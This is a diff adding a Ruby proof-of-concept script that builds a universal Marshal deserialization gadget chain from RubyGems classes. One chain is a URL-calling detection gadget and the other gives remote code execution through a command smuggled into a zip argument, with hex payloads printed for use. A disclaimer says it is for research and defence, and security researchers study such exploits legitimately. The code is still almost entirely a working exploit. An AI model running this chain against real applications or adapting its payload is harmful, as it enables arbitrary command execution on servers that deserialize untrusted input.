|
| 1 | +# Disclaimer: |
| 2 | +# This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, |
| 3 | +# and is not intended to be used to attack systems except where explicitly authorized. |
| 4 | +# Project maintainers are not responsible or liable for misuse of the software. Use responsibly. |
| 5 | + |
| 6 | +# This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html |
| 7 | +# It was observed to work up to Ruby 3.4-rc |
| 8 | +# The majority of this chain was taken from https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/blob/main/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb |
| 9 | + |
| 10 | +# This module is required since the URI module is not defined anymore. |
| 11 | +# The assumption is that any web framework (like sinatra or rails) will require such library |
| 12 | +# Hence we can consider this gadget as "universal" |
| 13 | +require 'net/http' |
| 14 | + |
| 15 | +Gem::SpecFetcher # Autoload |
| 16 | + |
| 17 | + |
| 18 | +def call_url_and_create_folder(url) # provided url should not have a query (?) component |
| 19 | + uri = URI::HTTP.allocate |
| 20 | + uri.instance_variable_set("@path", "/") |
| 21 | + uri.instance_variable_set("@scheme", "s3") |
| 22 | + uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file |
| 23 | + uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any" |
| 24 | + uri.instance_variable_set("@user", "any") |
| 25 | + uri.instance_variable_set("@password", "any") |
| 26 | + |
| 27 | + source = Gem::Source.allocate |
| 28 | + source.instance_variable_set("@uri", uri) |
| 29 | + source.instance_variable_set("@update_cache", true) |
| 30 | + |
| 31 | + index_spec = Gem::Resolver::IndexSpecification.allocate |
| 32 | + index_spec.instance_variable_set("@name", "name") |
| 33 | + index_spec.instance_variable_set("@source", source) |
| 34 | + |
| 35 | + request_set = Gem::RequestSet.allocate |
| 36 | + request_set.instance_variable_set("@sorted_requests", [index_spec]) |
| 37 | + |
| 38 | + lockfile = Gem::RequestSet::Lockfile.new('','','') |
| 39 | + lockfile.instance_variable_set("@set", request_set) |
| 40 | + lockfile.instance_variable_set("@dependencies", []) |
| 41 | + |
| 42 | + return lockfile |
| 43 | +end |
| 44 | + |
| 45 | +def git_gadget(executable, second_param) |
| 46 | + git_source = Gem::Source::Git.allocate |
| 47 | + git_source.instance_variable_set("@git", executable) |
| 48 | + git_source.instance_variable_set("@reference", second_param) |
| 49 | + git_source.instance_variable_set("@root_dir", "/tmp") |
| 50 | + git_source.instance_variable_set("@repository", "any") |
| 51 | + git_source.instance_variable_set("@name", "any") |
| 52 | + |
| 53 | + spec = Gem::Resolver::Specification.allocate |
| 54 | + spec.instance_variable_set("@name", "any") |
| 55 | + spec.instance_variable_set("@dependencies",[]) |
| 56 | + |
| 57 | + git_spec = Gem::Resolver::GitSpecification.allocate |
| 58 | + git_spec.instance_variable_set("@source", git_source) |
| 59 | + git_spec.instance_variable_set("@spec", spec) |
| 60 | + |
| 61 | + spec_specification = Gem::Resolver::SpecSpecification.allocate |
| 62 | + spec_specification.instance_variable_set("@spec", git_spec) |
| 63 | + |
| 64 | + return spec_specification |
| 65 | +end |
| 66 | + |
| 67 | +def command_gadget(zip_param_to_execute) |
| 68 | + git_gadget_create_zip = git_gadget("zip", "/etc/passwd") |
| 69 | + git_gadget_execute_cmd = git_gadget("zip", zip_param_to_execute) |
| 70 | + |
| 71 | + request_set = Gem::RequestSet.allocate |
| 72 | + request_set.instance_variable_set("@sorted_requests", [git_gadget_create_zip, git_gadget_execute_cmd]) |
| 73 | + |
| 74 | + lockfile = Gem::RequestSet::Lockfile.new('','','') |
| 75 | + lockfile.instance_variable_set("@set", request_set) |
| 76 | + lockfile.instance_variable_set("@dependencies",[]) |
| 77 | + |
| 78 | + return lockfile |
| 79 | +end |
| 80 | + |
| 81 | + |
| 82 | +# This is the major change compared to the other gadget. |
| 83 | +# Essentially the Gem::Specification is calling safe_load which blocks the execution of the chain. |
| 84 | +# Since we need a gadget that calls to_s from (marshal)_load, i've opted for Gem::Version |
| 85 | +# The only problem with this is the fact that it throws an error, hence two separate load are required. |
| 86 | +def to_s_wrapper(inner) |
| 87 | + spec = Gem::Version.allocate |
| 88 | + spec.instance_variable_set("@version", inner) |
| 89 | + # spec = Gem::Specification.new |
| 90 | + # spec.instance_variable_set("@new_platform", inner) |
| 91 | + return spec |
| 92 | +end |
| 93 | + |
| 94 | +# RCE |
| 95 | +def create_rce_gadget_chain(zip_param_to_execute) |
| 96 | + exec_gadget = command_gadget(zip_param_to_execute) |
| 97 | + |
| 98 | + return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)]) |
| 99 | +end |
| 100 | + |
| 101 | +# detection / folder creation |
| 102 | +def create_detection_gadget_chain(url) |
| 103 | + call_url_gadget = call_url_and_create_folder(url) |
| 104 | + |
| 105 | + return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) |
| 106 | +end |
| 107 | + |
| 108 | +url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. |
| 109 | +detection_gadget_chain = create_detection_gadget_chain(url) |
| 110 | + |
| 111 | +# begin |
| 112 | + # Marshal.load(detection_gadget_chain) |
| 113 | + # rescue |
| 114 | +# end |
| 115 | + |
| 116 | +puts detection_gadget_chain.unpack("H*") |
| 117 | + |
| 118 | +# You can comment from here if you want to simply detect the presence of the vulnerability. |
| 119 | +zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" # replace with -TmTT=\"$(id>/tmp/marshal-poc)\"any.zip |
| 120 | +rce_gadget_chain = create_rce_gadget_chain(zip_param_to_execute) |
| 121 | + |
| 122 | +puts rce_gadget_chain.unpack("H*") |
| 123 | + |
| 124 | +# Marshal.load(rce_gadget_chain) |
0 commit comments